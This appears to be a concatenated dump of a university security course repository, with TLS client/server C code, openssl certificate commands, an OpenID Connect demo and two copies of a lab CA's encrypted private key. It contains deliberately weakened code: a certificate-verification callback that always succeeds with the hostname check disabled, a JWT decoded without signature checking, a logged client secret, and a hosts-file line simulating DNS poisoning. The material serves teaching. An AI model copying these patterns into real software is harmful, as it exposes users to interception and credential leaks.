# Ask CA to sign 61 | $ openssl ca -in bank.csr -out bank32_cert.pem -md sha256 -cert modelCA_cert.pem -keyfile modelCA_key.pem 62 | 63 | # Verify the bank32_cert.pem certificate 64 | $ openssl verify -verbose -CAfile modelCA_cert.pem bank32_cert.pem 65 | 66 | # Analyse server C code 67 | # Run the server (domain bank32.com) in localhost 68 | .../TLS/build-TLS_Server-Desktop-Debug$ ./TLS_Server 69 | 70 | # Use browser to connect to https://localhost:8085 71 | 72 | 73 | # Run client 74 | .../TLS/build-TLS_Client_with_callback-Desktop-Debug$ ./TLS_Client_with_callback 75 | 76 | # Running the client bank32.com and server bank32.com is OK 77 | # Running the client www.facebook.com and server bank32.com is not OK 78 | # Running the client www.facebook.com and webserver www.example.com is not OK 79 | 80 | #////////////////////////////////////////////////// 81 | # Experiment: Man-In-The-Middle Attack 82 | # We simulate a DNS Cache poisoning attack. So, every time users 83 | # want to visit www.facebook.com, they will go to www.example.org 84 | 85 | 93.184.216.34 www.facebook.com 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/OpenID-Connect/relying-party-demo.js: -------------------------------------------------------------------------------- 1 | const express = require('express') 2 | const app = express() 3 | var request = require('request'); 4 | // more info at: 5 | // https://github.com/auth0/node-jsonwebtoken 6 | // https://jwt.io/#libraries 7 | var jwt = require('jsonwebtoken'); 8 | 9 | const port = 3001 10 | 11 | // system variables where RP credentials are stored 12 | const CLIENT_ID = process.env.CLIENT_ID 13 | const CLIENT_SECRET = process.env.CLIENT_SECRET 14 | 15 | 16 | console.log(CLIENT_ID) 17 | console.log(CLIENT_SECRET) 18 | 19 | 20 | app.get('/', (req, resp) => { 21 | resp.send('Use Google Account') 22 | }) 23 | 24 | // More information at: 25 | // https://developers.google.com/identity/protocols/OpenIDConnect 26 | 27 | app.get('/login', (req, resp) => { 28 | resp.redirect(302, 29 | // authorization endpoint 30 | 'https://accounts.google.com/o/oauth2/v2/auth?' 31 | // client id 32 | + 'client_id='+ CLIENT_ID +'&' 33 | // scope "openid email" 34 | + 'scope=openid%20email&' 35 | // parameter state should bind the user's session to a request/response 36 | + 'state=some-id-based-on-user-session&' 37 | // response_type for "authorization code grant" 38 | + 'response_type=code&' 39 | // redirect uri used to register RP 40 | + 'redirect_uri=http://localhost:3001/googlecallback') 41 | }) 42 | 43 | app.get('/googlecallback', (req, resp) => { 44 | // 45 | // TODO: check if *state* is correct for this session 46 | 47 | console.log('making request to token endpoint') 48 | // https://www.npmjs.com/package/request#examples 49 | // content-type: application/x-www-form-urlencoded (URL-Encoded Forms) 50 | request 51 | .post( 52 | { 53 | url: 'https://www.googleapis.com/oauth2/v3/token', 54 | // body parameters 55 | form: { 56 | code: req.query.code, 57 | client_id: CLIENT_ID, 58 | client_secret: CLIENT_SECRET, 59 | redirect_uri: 'http://localhost:3001/googlecallback', 60 | grant_type: 'authorization_code' 61 | } 62 | }, 63 | function(err, httpResponse, body){ 64 | // 65 | // TODO: check err and httpresponse 66 | 67 | var json_response = JSON.parse(body); 68 | // decode does not check signature 69 | var jwt_payload = jwt.decode(json_response.id_token) 70 | 71 | console.log(body); 72 | console.log(jwt_payload); 73 | 74 | resp.send( 75 | // send code and id_token to user-agent, *just* for this demo/debug 76 | '
callback with code = ' + req.query.code + '
' 77 | + '
id_token = ' + json_response.id_token + '
' 78 | // use 'email' claim from id_token 79 | + '
Olá ' + jwt_payload.email + '
' 80 | ); 81 | } 82 | ); 83 | }) 84 | 85 | app.listen(port, (err) => { 86 | if (err) { 87 | return console.log('something bad happened', err) 88 | } 89 | console.log(`server is listening on ${port}`) 90 | }) 91 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/modelCA and cert_server/modelCA_key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN ENCRYPTED PRIVATE KEY----- 2 | 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 53 | xRlr6A07Sch7Z2mtvpsLwoWJnAqBqUwC 54 | -----END ENCRYPTED PRIVATE KEY----- 55 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/build-TLS_Server-Desktop-Debug/cert/modelCA_key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN ENCRYPTED PRIVATE KEY----- 2 | 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 53 | xRlr6A07Sch7Z2mtvpsLwoWJnAqBqUwC 54 | -----END ENCRYPTED PRIVATE KEY----- 55 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/TLS_Client/tls_client_with_callback.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define CHK_SSL(err) if ((err) < 1) { ERR_print_errors_fp(stderr); exit(2); } 7 | 8 | int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx) 9 | { 10 | char buf[300]; 11 | 12 | X509* cert = X509_STORE_CTX_get_current_cert(x509_ctx); 13 | X509_NAME_oneline(X509_get_subject_name(cert), buf, 300); 14 | printf("subject= %s\n", buf); 15 | 16 | if (preverify_ok == 1) { 17 | printf("Verification passed.\n"); 18 | } else { 19 | int err = X509_STORE_CTX_get_error(x509_ctx); 20 | printf("Verification failed: %s.\n", 21 | X509_verify_cert_error_string(err)); 22 | } 23 | 24 | /* For the experiment purpose, we always return 1, regardless of 25 | * whether the verification is successful or not. This way, the 26 | * TLS handshake protocol will continue. This is not safe! 27 | * Readers should not blindly copy the following line. We will 28 | * discuss the correct return value later. 29 | */ 30 | return 1; 31 | } 32 | 33 | 34 | SSL* setupTLSClient(const char* hostname) 35 | { 36 | // Step 0: OpenSSL library initialization 37 | // This step is no longer needed as of version 1.1.0. 38 | SSL_library_init(); 39 | SSL_load_error_strings(); 40 | 41 | // Step 1: SSL context initialization 42 | SSL_METHOD *meth = (SSL_METHOD *)TLSv1_2_method(); 43 | SSL_CTX* ctx = SSL_CTX_new(meth); 44 | SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_callback); 45 | SSL_CTX_load_verify_locations(ctx, NULL, "./cert"); 46 | 47 | // Step 2: Create a new SSL structure for a connection 48 | SSL* ssl = SSL_new (ctx); 49 | 50 | // Step 3: Enable the hostname check 51 | //X509_VERIFY_PARAM *vpm = SSL_get0_param(ssl); 52 | //X509_VERIFY_PARAM_set1_host(vpm, hostname, 0); 53 | 54 | return ssl; 55 | } 56 | 57 | int setupTCPClient(const char* hostname, int port) 58 | { 59 | struct sockaddr_in server_addr; 60 | 61 | // Get the IP address from hostname 62 | struct hostent* hp = gethostbyname(hostname); 63 | 64 | // Create a TCP socket 65 | int sockfd= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 66 | 67 | // Fill in the destination information (IP, port #, and family) 68 | memset (&server_addr, '\0', sizeof(server_addr)); 69 | memcpy(&(server_addr.sin_addr.s_addr), hp->h_addr, hp->h_length); 70 | server_addr.sin_port = htons (port); 71 | server_addr.sin_family = AF_INET; 72 | 73 | // Connect to the destination 74 | connect(sockfd, (struct sockaddr*) &server_addr, 75 | sizeof(server_addr)); 76 | 77 | return sockfd; 78 | } 79 | 80 | 81 | int main(int argc, char *argv[]) 82 | { 83 | char *hostname = "example.com"; 84 | int port = 443; 85 | 86 | if (argc > 1) hostname = argv[1]; 87 | if (argc > 2) port = atoi(argv[2]); 88 | 89 | // TLS initialization and create TCP connection 90 | SSL *ssl = setupTLSClient(hostname); 91 | int sockfd = setupTCPClient(hostname, port); 92 | 93 | // TLS handshake 94 | SSL_set_fd(ssl, sockfd); 95 | int err = SSL_connect(ssl); CHK_SSL(err); 96 | printf("SSL connection is successful\n"); 97 | printf ("SSL connection using %s\n", SSL_get_cipher(ssl)); 98 | 99 | // Send and Receive data 100 | char buf[9000]; 101 | char sendBuf[200]; 102 | 103 | sprintf(sendBuf, "GET / HTTP/1.1\nHost: %s\n\n", hostname); 104 | SSL_write(ssl, sendBuf, strlen(sendBuf)); 105 | 106 | int len; 107 | do { 108 | len = SSL_read (ssl, buf, sizeof(buf) - 1); 109 | buf[len] = '\0'; 110 | printf("%s\n",buf); 111 | } while (len > 0); 112 | } 113 | 114 | 115 | -------------------------------------------------------------------------------- /Semana 6/Aula 17 e 18/TLS/TLS_Server/tls_server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define CHK_SSL(err) if ((err) < 1) { ERR_print_errors_fp(stderr); exit(2); } 8 | #define CHK_ERR(err,s) if ((err)==-1) { perror(s); exit(1); } 9 | 10 | void processRequest(SSL* ssl, int sock) 11 | { 12 | char buf[1024]; 13 | int len = SSL_read (ssl, buf, sizeof(buf) - 1); 14 | buf[len] = '\0'; 15 | printf("Received: %s\n",buf); 16 | 17 | // Construct and send the HTML page 18 | char *html = 19 | "HTTP/1.1 200 OK\r\n" 20 | "Content-Type: text/html\r\n\r\n" 21 | "" 22 | "Hello World" 23 | "" 26 | "

Hello, world!

"; 27 | SSL_write(ssl, html, strlen(html)); 28 | SSL_shutdown(ssl); SSL_free(ssl); 29 | } 30 | 31 | 32 | 33 | int setupTCPServer() 34 | { 35 | struct sockaddr_in sa_server; 36 | int listen_sock, err, tr = 1; 37 | 38 | // Create a listening socket 39 | listen_sock= socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); 40 | err = setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, 41 | &tr, sizeof(int)); 42 | CHK_ERR(err, "setsockopt"); 43 | 44 | // Prepare for address structure 45 | memset (&sa_server, '\0', sizeof(sa_server)); 46 | sa_server.sin_family = AF_INET; 47 | sa_server.sin_addr.s_addr = INADDR_ANY; 48 | 49 | ////////////////////////////////////////////////// 50 | // CHANGE PORT IF ALREADY IN USE 51 | // 52 | // sa_server.sin_port = htons (4433); 53 | sa_server.sin_port = htons (8085); 54 | ////////////////////////////////////////////////// 55 | 56 | 57 | 58 | // Bind the socket to a port 59 | err = bind(listen_sock, (struct sockaddr*)&sa_server, 60 | sizeof(sa_server)); 61 | CHK_ERR(err, "bind"); 62 | 63 | // Listen to connections 64 | err = listen(listen_sock, 5); 65 | CHK_ERR(err, "listen"); 66 | return listen_sock; 67 | } 68 | 69 | int main() 70 | { 71 | const SSL_METHOD *meth; 72 | SSL_CTX* ctx; 73 | SSL* ssl; 74 | 75 | // Step 0: OpenSSL library initialization 76 | SSL_library_init(); 77 | SSL_load_error_strings(); 78 | 79 | // Step 1: SSL context initialization 80 | meth = (SSL_METHOD *)TLSv1_2_method(); 81 | ctx = SSL_CTX_new(meth); 82 | SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL); 83 | 84 | // Step 2: Set up the server certificate and private key 85 | SSL_CTX_use_certificate_file(ctx, "./cert_server/bank32_cert.pem", 86 | SSL_FILETYPE_PEM); 87 | /* SSL_CTX_use_certificate_chain_file(ctx, ...); */ 88 | SSL_CTX_use_PrivateKey_file(ctx, "./cert_server/bank32_key.pem", 89 | SSL_FILETYPE_PEM); 90 | 91 | // Step 3: Create a new SSL structure for a connection 92 | ssl = SSL_new (ctx); 93 | 94 | struct sockaddr_in sa_client; 95 | size_t client_len; 96 | 97 | int listen_sock = setupTCPServer(); 98 | while (1) { 99 | int sock = accept(listen_sock, (struct sockaddr*)&sa_client, &client_len); 100 | printf ("TCP connection established!\n"); 101 | if (fork() == 0) { // Child process 102 | close (listen_sock); 103 | 104 | SSL_set_fd (ssl, sock); 105 | int err = SSL_accept (ssl); 106 | CHK_SSL(err); 107 | printf ("SSL connection established!\n"); 108 | 109 | processRequest(ssl, sock); 110 | close(sock); 111 | return 0; 112 | } else { // Parent process 113 | close(sock); 114 | } 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /Semana 5/Aula 13/TLS_Client_with_callback/tls_client_with_callback.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define CHK_SSL(err) if ((err) < 1) { ERR_print_errors_fp(stderr); exit(2); } 7 | 8 | int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx) 9 | { 10 | char buf[300]; 11 | 12 | X509* cert = X509_STORE_CTX_get_current_cert(x509_ctx); 13 | X509_NAME_oneline(X509_get_subject_name(cert), buf, 300); 14 | printf("subject= %s\n", buf); 15 | 16 | if (preverify_ok == 1) { 17 | printf("Verification passed.\n"); 18 | return 1; // The right way 19 | } else { 20 | int err = X509_STORE_CTX_get_error(x509_ctx); 21 | printf("Verification failed: %s.\n", 22 | X509_verify_cert_error_string(err)); 23 | return 0; // The right way 24 | } 25 | 26 | /* For the experiment purpose, we always return 1, regardless of 27 | * whether the verification is successful or not. This way, the 28 | * TLS handshake protocol will continue. This is not safe! 29 | * Readers should not blindly copy the following line. We will 30 | * discuss the correct return value later. 31 | */ 32 | return 1; 33 | } 34 | 35 | 36 | SSL* setupTLSClient(const char* hostname) 37 | { 38 | // Step 0: OpenSSL library initialization 39 | // This step is no longer needed as of version 1.1.0. 40 | // SSL_library_init(); 41 | // SSL_load_error_strings(); 42 | 43 | // Step 1: SSL context initialization 44 | SSL_METHOD *meth = (SSL_METHOD *)TLSv1_2_method(); 45 | SSL_CTX* ctx = SSL_CTX_new(meth); 46 | SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_callback); 47 | SSL_CTX_load_verify_locations(ctx, NULL, "./cert"); // If you have a certification chain with 3 or more certificates 48 | // SSL_CTX_load_verify_locations(ctx, "./cert/modelCA_cert.pem", NULL); // If you have a CA root + a leaf certificate 49 | 50 | 51 | // Step 2: Create a new SSL structure for a connection 52 | SSL* ssl = SSL_new (ctx); 53 | 54 | // Step 3: Enable the hostname check 55 | X509_VERIFY_PARAM *vpm = SSL_get0_param(ssl); 56 | X509_VERIFY_PARAM_set1_host(vpm, hostname, 0); 57 | 58 | return ssl; 59 | } 60 | 61 | int setupTCPClient(const char* hostname, int port) 62 | { 63 | struct sockaddr_in server_addr; 64 | 65 | // Get the IP address from hostname 66 | struct hostent* hp = gethostbyname(hostname); 67 | 68 | // Create a TCP socket 69 | int sockfd= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 70 | 71 | // Fill in the destination information (IP, port #, and family) 72 | memset (&server_addr, '\0', sizeof(server_addr)); 73 | memcpy(&(server_addr.sin_addr.s_addr), hp->h_addr, hp->h_length); 74 | server_addr.sin_port = htons (port); 75 | server_addr.sin_family = AF_INET; 76 | 77 | // Connect to the destination 78 | connect(sockfd, (struct sockaddr*) &server_addr, 79 | sizeof(server_addr)); 80 | 81 | return sockfd; 82 | } 83 | 84 | 85 | int main(int argc, char *argv[]) 86 | { 87 | // char *hostname = "example.com"; 88 | // int port = 443; 89 | 90 | // char *hostname = "localhost"; 91 | // int port = 8080; 92 | 93 | // char *hostname = "bank32.com"; 94 | // int port = 8085; 95 | 96 | char *hostname = "www.facebook.com"; 97 | int port = 443; 98 | 99 | if (argc > 1) hostname = argv[1]; 100 | if (argc > 2) port = atoi(argv[2]); 101 | 102 | // TLS initialization and create TCP connection 103 | SSL *ssl = setupTLSClient(hostname); 104 | int sockfd = setupTCPClient(hostname, port); 105 | 106 | // TLS handshake 107 | SSL_set_fd(ssl, sockfd); 108 | int err = SSL_connect(ssl); CHK_SSL(err); 109 | printf("SSL connection is successful\n"); 110 | printf ("SSL connection using %s\n", SSL_get_cipher(ssl)); 111 | 112 | // Send and Receive data 113 | char buf[9000]; 114 | char sendBuf[200]; 115 | 116 | sprintf(sendBuf, "GET / HTTP/1.1\nHost: %s\n\n", hostname); 117 | SSL_write(ssl, sendBuf, strlen(sendBuf)); 118 | 119 | int len; 120 | do { 121 | len = SSL_read (ssl, buf, sizeof(buf) - 1); 122 | buf[len] = '\0'; 123 | printf("%s\n",buf); 124 | } while (len > 0); 125 | } 126 | 127 | 128 | -------------------------------------------------------------------------------- /Semana 11/Aula 31/ex-2-OAuth-JWT/protectedResource.js: -------------------------------------------------------------------------------- 1 | var express = require("express"); 2 | var bodyParser = require('body-parser'); 3 | var cons = require('consolidate'); 4 | var nosql = require('nosql').load('database.nosql'); 5 | var cors = require('cors'); 6 | 7 | var app = express(); 8 | 9 | app.use(bodyParser.urlencoded({ extended: true })); // support form-encoded bodies (for bearer tokens) 10 | 11 | app.engine('html', cons.underscore); 12 | app.set('view engine', 'html'); 13 | app.set('views', 'files/protectedResource'); 14 | app.set('json spaces', 4); 15 | 16 | app.use('/', express.static('files/protectedResource')); 17 | app.use(cors()); 18 | 19 | // ADDED: 20 | const base64url = require('base64url'); 21 | 22 | var resource = { 23 | "name": "Protected 